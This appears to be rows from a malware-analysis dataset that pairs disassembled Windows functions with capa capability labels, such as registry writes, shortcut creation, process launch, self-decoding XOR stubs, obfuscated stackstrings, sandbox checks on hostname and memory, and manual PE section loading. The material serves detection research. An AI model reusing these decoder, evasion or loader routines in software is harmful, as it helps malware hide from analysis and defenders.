joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402910
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x758
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi]
call dword [eax + 0xc]
test eax, eax
je 0x402ac0
mov ebp, dword [esp + 0x76c]
xor ebx, ebx
cmp ebp, ebx
je 0x402ac0
mov edx, dword [esp + 0x770]
lea ecx, [esp + 0x350]
push ecx
push edx
mov ecx, esi
call fcn.00401d40
test eax, eax
je 0x402ac0
cmp dword [esi + 0x468], ebx
je 0x402a82
lea eax, [esp + 0x664]
lea ecx, [esi + 0x46c]
push eax
call sub.LDSERV.dll_Ordinal_333
test eax, eax
je 0x402a82
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x4d]
mov byte [esp + 0x4c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x45c]
lea edx, [esp + 0x4c]
stosb byte es:[edi], al
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ecx
push edx
call edi
lea eax, [esp + 0x4c]
mov ecx, esi
push eax
call fcn.00403250
test eax, eax
je 0x4029c8
lea ecx, [esp + 0x560]
lea edx, [esp + 0x4c]
push ecx
push edx
call edi
lea eax, [esp + 0x4c]
push ebx
push eax
call sub.LDSERV.dll_Ordinal_391
add esp, 8
test eax, eax
jne 0x402a82
mov ecx, 0x3f
lea edi, [esp + 0x251]
mov byte [esp + 0x250], bl
mov byte [esp + 0x150], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x151]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x250]
push ecx
mov ecx, dword [esi + 0x10]
push 0x205
stosb byte es:[edi], al
call sub.LDSERV.dll_Ordinal_374
test eax, eax
je 0x402a82
mov ecx, dword [esi + 0x10]
lea edx, [esp + 0x150]
push edx
push 0x206
call sub.LDSERV.dll_Ordinal_374
test eax, eax
je 0x402a82
lea eax, [esp + 0x250]
push 0x15
lea ecx, [esp + 0x154]
push eax
push ecx
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 4
jne 0x402a7d
mov edx, dword [esp + 0x770]
mov ecx, esi
push edx
push ebp
call fcn.00402910
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x758
ret 8
cmp eax, 2
je 0x402ac0
lea ecx, [esp + 0x10]
lea eax, [esp + 0x45c]
push ecx
mov dword [esp + 0x14], 0x3c
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], 1
mov dword [esp + 0x34], ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x758
ret 8
Function at 0x402de0
Capabilities:
Create directory

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x400
push ebx
xor ebx, ebx
push ebp
push esi
cmp eax, ebx
push edi
mov esi, ecx
je 0x402f56
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x111]
mov byte [esp + 0x110], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x211]
mov byte [esp + 0x210], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x311]
mov byte [esp + 0x310], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, dword [esi + 0xc]
stosb byte es:[edi], al
lea eax, [esp + 0x110]
push eax
push 0x25a
call sub.LDSERV.dll_Ordinal_374
test eax, eax
je 0x402f56
lea ecx, [esp + 0x210]
push ecx
mov ecx, dword [esi + 0xc]
push 0x200
call sub.LDSERV.dll_Ordinal_374
test eax, eax
je 0x402f56
mov ecx, dword [esi + 0xc]
lea edx, [esp + 0x310]
push edx
push 0x1fe
call sub.LDSERV.dll_Ordinal_374
test eax, eax
je 0x402f56
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10]
lea ecx, [esi + 0x10]
push eax
lea edx, [esp + 0x114]
push ecx
lea eax, [esi + 0x116]
push edx
push eax
push 0x80000001
mov ecx, esi
call fcn.004015e0
test eax, eax
je 0x402f56
lea ecx, [esp + 0x10]
push ecx
call sub.LDSERV.dll_Ordinal_439
add esp, 4
lea edx, [esp + 0x210]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x310]
push edx
lea edi, [esi + 0x440]
push eax
push ecx
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ebp, eax
cmp ebp, ebx
je 0x402f27
push edi
mov ecx, esi
call fcn.00404a40
cmp ebp, ebx
jne 0x402f35
push ebx
push edi
call sub.LDSERV.dll_Ordinal_391
add esp, 8
test eax, eax
je 0x402f56
mov edx, dword [esp + 0x414]
push edi
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x400
ret 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x400
ret 4

Function at 0x402f70
Capabilities:
Delete file

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x20
test edx, edx
push esi
push edi
je 0x402fe7
mov esi, dword [esp + 0x30]
test esi, esi
je 0x402fe7
mov ecx, 7
xor eax, eax
lea edi, [esp + 8]
push esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], 3
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov byte [eax + esi + 1], 0
mov eax, dword [esp + 0x34]
lea ecx, [esp + 8]
or al, 0x40
push ecx
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], 0
mov word [esp + 0x1c], ax
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
test eax, eax
jne 0x402fe7
mov eax, dword [esp + 0x1a]
test eax, eax
jne 0x402fe7
mov eax, 1
pop edi
pop esi
add esp, 0x20
ret 0xc
pop edi
xor eax, eax
pop esi
add esp, 0x20
ret 0xc
Function at 0x403250
Capabilities:
Get file system object information

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x160
test eax, eax
je 0x40328c
push 0x800
lea ecx, [esp + 4]
push 0x160
push ecx
push 0
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
test eax, eax
je 0x40328c
mov eax, dword [esp + 8]
and eax, 0x10000
add esp, 0x160
ret 4
xor eax, eax
add esp, 0x160
ret 4

Function at 0x4032a0
Capabilities:
Set registry value

Disassembly:
sub esp, 0x508
push ebx
push esi
mov esi, ecx
push edi
xor ebx, ebx
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x115]
mov byte [esp + 0x114], bl
mov byte [esp + 0x14], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x314], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x315]
mov byte [esp + 0x414], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x415]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, dword [esi + 0xc]
stosb byte es:[edi], al
lea eax, [esp + 0x114]
push eax
push 0x1fe
call sub.LDSERV.dll_Ordinal_374
test eax, eax
je 0x40341b
lea ecx, [esp + 0x14]
push ecx
mov ecx, dword [esi + 0xc]
push 0x1f6
call sub.LDSERV.dll_Ordinal_374
test eax, eax
je 0x40341b
mov ecx, dword [esi + 0xc]
lea edx, [esp + 0x314]
push edx
push 0x32f
call sub.LDSERV.dll_Ordinal_374
test eax, eax
je 0x40341b
mov ecx, dword [esi + 0xc]
lea eax, [esp + 0x414]
push eax
push 0x330
call sub.LDSERV.dll_Ordinal_374
test eax, eax
je 0x40341b
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x215]
mov byte [esp + 0x214], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x314]
lea edx, [esp + 0x14]
stosb byte es:[edi], al
push ecx
lea eax, [esp + 0x118]
push edx
lea ecx, [esp + 0x21c]
push eax
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [esp + 0x10]
lea eax, [esp + 0xc]
lea ecx, [esp + 0x214]
push edx
push eax
push ebx
push 0x20006
push ebx
push 0x407914
push ebx
push ecx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x403410
mov eax, dword [esp + 0xc]
add esi, 0x544
push 0xf28
push esi
push 3
lea edx, [esp + 0x420]
push ebx
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
add esp, 0x508
ret
Function at 0x403990
Capabilities:
Create shortcut via ishelllink

Disassembly:
sub esp, 0x210
push ebx
mov ebx, dword [esp + 0x218]
push ebp
xor ebp, ebp
push esi
push edi
test ebx, ebx
je 0x403ac5
mov esi, dword [esp + 0x228]
test esi, esi
je 0x403ac5
mov edi, dword [esp + 0x230]
test edi, edi
je 0x403ac5
lea eax, [esp + 0x10]
push eax
push 0x406050
push 1
push ebp
push 0x406040
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x403ac5
mov eax, dword [esp + 0x10]
push esi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x50]
test eax, eax
jl 0x403abb
mov ecx, dword [esp + 0x22c]
test ecx, ecx
je 0x403a1a
mov eax, dword [esp + 0x10]
push ecx
push eax
mov edx, dword [eax]
call dword [edx + 0x2c]
test eax, eax
jl 0x403abb
mov eax, dword [esp + 0x10]
push edi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
test eax, eax
jl 0x403abb
mov ecx, dword [esp + 0x234]
test ecx, ecx
je 0x403a4f
mov eax, dword [esp + 0x10]
mov esi, dword [esp + 0x238]
push esi
push ecx
mov edx, dword [eax]
push eax
call dword [edx + 0x44]
test eax, eax
jl 0x403abb
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x14]
push edx
push 0x406060
mov ecx, dword [eax]
push eax
call dword [ecx]
test eax, eax
jl 0x403abb
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x1a]
mov word [esp + 0x18], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x18]
push 0x104
push eax
push 0xffffffffffffffff
push ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x403abb
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push 0
push edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
test eax, eax
jl 0x403abb
mov eax, dword [esp + 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov ebp, 1
mov eax, dword [esp + 0x10]
push eax
mov edx, dword [eax]
call dword [edx + 8]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x210
ret 0x18

Function at 0x403f30
Capabilities:
Get file system object information

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x160
test eax, eax
je 0x403f68
mov ecx, dword [esp + 0x168]
lea edx, [esp]
push ecx
push 0x160
push edx
push 0
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
test eax, eax
je 0x403f68
mov eax, dword [esp]
add esp, 0x160
ret
xor eax, eax
add esp, 0x160
ret
Function at 0x404850
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x508
push ebx
push ebp
push esi
mov ebp, ecx
push edi
xor ebx, ebx
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x119]
mov byte [esp + 0x118], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x319]
mov byte [esp + 0x318], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x419]
mov byte [esp + 0x418], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, dword [ebp + 0xc]
stosb byte es:[edi], al
lea eax, [esp + 0x118]
push eax
push 0x1fe
call sub.LDSERV.dll_Ordinal_374
test eax, eax
je 0x404a24
lea ecx, [esp + 0x18]
push ecx
mov ecx, dword [ebp + 0xc]
push 0x1f6
call sub.LDSERV.dll_Ordinal_374
test eax, eax
je 0x404a24
mov ecx, dword [ebp + 0xc]
lea edx, [esp + 0x318]
push edx
push 0x32f
call sub.LDSERV.dll_Ordinal_374
test eax, eax
je 0x404a24
mov ecx, dword [ebp + 0xc]
lea eax, [esp + 0x418]
push eax
push 0x330
call sub.LDSERV.dll_Ordinal_374
test eax, eax
je 0x404a24
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x219]
mov byte [esp + 0x218], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x318]
lea edx, [esp + 0x18]
stosb byte es:[edi], al
push ecx
lea eax, [esp + 0x11c]
push edx
lea ecx, [esp + 0x220]
push eax
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [esp + 0x10]
lea eax, [esp + 0x218]
push edx
push 0x20019
push ebx
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4049f0
lea ecx, [esp + 0x14]
lea edx, [ebp + 0x544]
push ecx
mov ecx, dword [esp + 0x14]
push edx
push ebx
lea eax, [esp + 0x424]
push ebx
push eax
push ecx
mov dword [esp + 0x2c], 0xf28
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4049f0
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp + 0x844]
mov ecx, 5
mov dword [eax], ebx
add eax, 0x308
dec ecx
jne 0x4049d6
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x508
ret
xor esi, esi
lea edi, [ebp + 0x544]
mov ecx, dword [ebp + 0xc]
lea eax, [esi + 0x32a]
push edi
push eax
call sub.LDSERV.dll_Ordinal_374
inc esi
add edi, 0x308
cmp esi, 5
jl 0x4049f8
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x508
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x508
ret
Function at 0x4051f0
Capabilities:
Get graphical window text

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x104
dec eax
push ebx
push esi
push edi
mov ebx, ecx
je 0x405296
dec eax
je 0x40527a
sub eax, 0x3b5
jne 0x405331
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
mov esi, dword [esp + 0x114]
mov ecx, ebx
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push eax
push esi
call fcn.00404050
test eax, eax
je 0x405331
push 0x3b6
push esi
call dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, eax
test esi, esi
je 0x405331
lea ecx, [esp + 0xc]
push ecx
push esi
call dword [sym.imp.USER32.dll_SetWindowTextA]
push esi
call dword [sym.imp.USER32.dll_SetFocus]
pop edi
pop esi
pop ebx
add esp, 0x104
ret 0x10
mov edx, dword [esp + 0x114]
push 1
push edx
call dword [sym.imp.USER32.dll_EndDialog]
pop edi
pop esi
pop ebx
add esp, 0x104
ret 0x10
mov esi, dword [esp + 0x114]
push 0x3b6
push esi
call dword [sym.imp.USER32.dll_GetDlgItem]
mov edx, eax
test edx, edx
je 0x405320
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0x104
push eax
push edx
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea ecx, [esp + 0xc]
push 0
push ecx
call sub.LDSERV.dll_Ordinal_391
add esp, 8
test eax, eax
je 0x405320
lea edx, [esp + 0xc]
mov ecx, ebx
push edx
call fcn.00401cc0
test eax, eax
je 0x405320
push esi
call dword [sym.imp.USER32.dll_GetParent]
push eax
mov ecx, ebx
call fcn.00402ad0
test eax, eax
je 0x405320
push 1
push esi
call dword [sym.imp.USER32.dll_EndDialog]
pop edi
pop esi
pop ebx
add esp, 0x104
ret 0x10
push esi
mov ecx, ebx
call fcn.00404e30
push 0
push esi
call dword [sym.imp.USER32.dll_EndDialog]
pop edi
pop esi
pop ebx
add esp, 0x104
ret 0x10
Function at 0x40100c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x431008]
jne 0x401016
repz ret
jmp fcn.004018a0

Function at 0x40924e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004053be
and dword [ebp - 4], 0
cmp dword [0x433774], 0
mov ebx, eax
jne 0x4092ff
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4093b0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4093b0
push eax
call fcn.0040534c
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x433774], eax
call esi
push eax
call fcn.0040534c
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x433778], eax
call esi
push eax
call fcn.0040534c
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x43377c], eax
call esi
push eax
call fcn.0040534c
pop ecx
mov dword [0x433784], eax
test eax, eax
je 0x4092ff
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040534c
pop ecx
mov dword [0x433780], eax
mov eax, dword [0x433780]
cmp eax, ebx
je 0x409357
cmp dword [0x433784], ebx
je 0x409357
push eax
call fcn.004053c7
push dword [0x433784]
mov esi, eax
call fcn.004053c7
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x409357
test edi, edi
je 0x409357
call esi
test eax, eax
je 0x40934e
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40934e
test byte [ebp - 0xc], 1
jne 0x409357
or dword [ebp + 0x10], 0x200000
jmp 0x409390
mov eax, dword [0x433778]
cmp eax, ebx
je 0x409390
push eax
call fcn.004053c7
pop ecx
test eax, eax
je 0x409390
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x409390
mov eax, dword [0x43377c]
cmp eax, ebx
je 0x409390
push eax
call fcn.004053c7
pop ecx
test eax, eax
je 0x409390
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x433774]
call fcn.004053c7
pop ecx
test eax, eax
je 0x4093b0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4093b2
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40b770
Capabilities:
Set console window title

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [0x271b8b4], 0x930
jne 0x40b78d
push str.dubewajucasolumejacejagipimibebi
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
cmp dword [0x271b8b4], 0x114e
mov eax, dword [ebp + 8]
mov dword [0x271b5d0], eax
jne 0x40b7b3
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
lea ecx, [ebp - 0x1c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
mov esp, ebp
pop ebp
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x1000186b
Capabilities:
Get hostname
Get memory capacity
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
push ebx
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10001987
lea esi, [eax + 0xa786]
test esi, esi
je 0x10001987
push 8
pop ecx
imul ecx, ecx, 7
push 0xb
pop edi
add ecx, 5
mov eax, ecx
cdq
idiv edi
test edx, edx
jne 0x10001898
cmp ecx, 0x4e20
jle 0x10001987
mov eax, 0x104
push eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x150]
push edx
push eax
call fcn.10002830
add esp, 0xc
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x10001987
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [ebp - 0x18], 2
jb 0x10001987
mov edx, dword [ebp - 4]
xor edi, edi
mov al, byte [esi]
mov byte [ebp + edx - 0x150], al
mov al, byte [esi + 1]
mov esi, fcn.10001813
mov byte [ebp + edx - 0x14f], al
sub esi, section..text
add edx, 2
xor eax, eax
mov dword [ebp - 4], edx
mov dword [ebp - 8], eax
test esi, esi
jle 0x1000195c
xor ebx, ebx
test edx, edx
jle 0x10001956
cmp eax, esi
jge 0x10001956
mov al, byte [ebp + ebx - 0x150]
lea ecx, [ebx + edi]
add ecx, section..text
xor byte [ecx], al
inc ebx
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp ebx, edx
jl 0x10001934
add edi, edx
cmp edi, esi
jl 0x1000192e
lea eax, [ebp - 0x48]
mov dword [ebp - 0x48], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
shrd ecx, eax, 0x14
shr eax, 0x14
cmp ecx, 0x3fe
jb 0x10001987
call fcn.1000155b
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401150
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x424480
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
nop
mov al, 0x45
mov bl, 5
mov byte [ebp - 0x2b], al
mov byte [ebp - 0x28], al
mov al, 0x6c
mov byte [ebp - 0x2c], 0x4b
mov byte [ebp - 0x2a], 0x52
mov byte [ebp - 0x29], 0x4e
mov byte [ebp - 0x27], 0x4c
mov byte [ebp - 0x26], 0x33
mov byte [ebp - 0x25], 0x32
mov byte [ebp - 0x24], 0x2e
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x22], al
mov byte [ebp - 0x21], al
mov byte [ebp - 0x20], bl
nop
push str.HeapFree
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1c], eax
mov al, 0x65
mov byte [ebp - 0x3b], al
mov byte [ebp - 0x35], al
mov byte [ebp - 0x31], al
lea eax, [ebp - 0x14]
mov cl, 0x73
push 0x42b4d0
push eax
mov byte [ebp - 0x3c], 0x47
mov byte [ebp - 0x3a], 0x74
mov byte [ebp - 0x39], 0x50
mov byte [ebp - 0x38], 0x72
mov byte [ebp - 0x37], 0x6f
mov byte [ebp - 0x36], 0x63
mov byte [ebp - 0x34], cl
mov byte [ebp - 0x33], cl
mov byte [ebp - 0x32], 0x48
mov byte [ebp - 0x30], 0x61
mov byte [ebp - 0x2f], 0x70
mov byte [ebp - 0x2e], bl
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0x25
call fcn.0040bbaa
lea ecx, [ebp - 0x3c]
lea edx, [ebp - 0x2c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, 0x401233
ret
Function at 0x401a80
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4244d0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
mov ecx, dword [ebp + 0x10]
xor edx, edx
push ebx
push esi
mov eax, dword [ecx + 4]
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ecx]
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x18], 0
mov dx, word [eax + 0x14]
lea eax, [edx + eax + 0x18]
mov dword [ebp - 0x14], eax
mov ecx, dword [ecx]
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dx, word [ecx + 6]
cmp eax, edx
jge 0x401c07
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x10]
test ecx, ecx
jne 0x401b3a
lea ecx, [ebp - 0x24]
push 0x42b4d0
push ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x24], 0x36
call fcn.0040bbaa
mov edx, dword [ebp + 0xc]
mov esi, dword [edx + 0x38]
test esi, esi
jle 0x401b34
mov ebx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1c]
push 4
push 0x1000
mov eax, dword [ebx + 0xc]
push esi
add eax, ecx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, esi
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, 0x401be8
ret
lea eax, [ebp - 0x28]
push 0x42b4d0
push eax
mov dword [ebp - 4], 2
mov dword [ebp - 0x28], 0x43
call fcn.0040bbaa
mov eax, dword [ebp - 0x14]
push 4
push 0x1000
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
push ecx
mov ecx, dword [ebp - 0x1c]
add edx, ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x20], eax
mov eax, 0x401b7c
ret
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret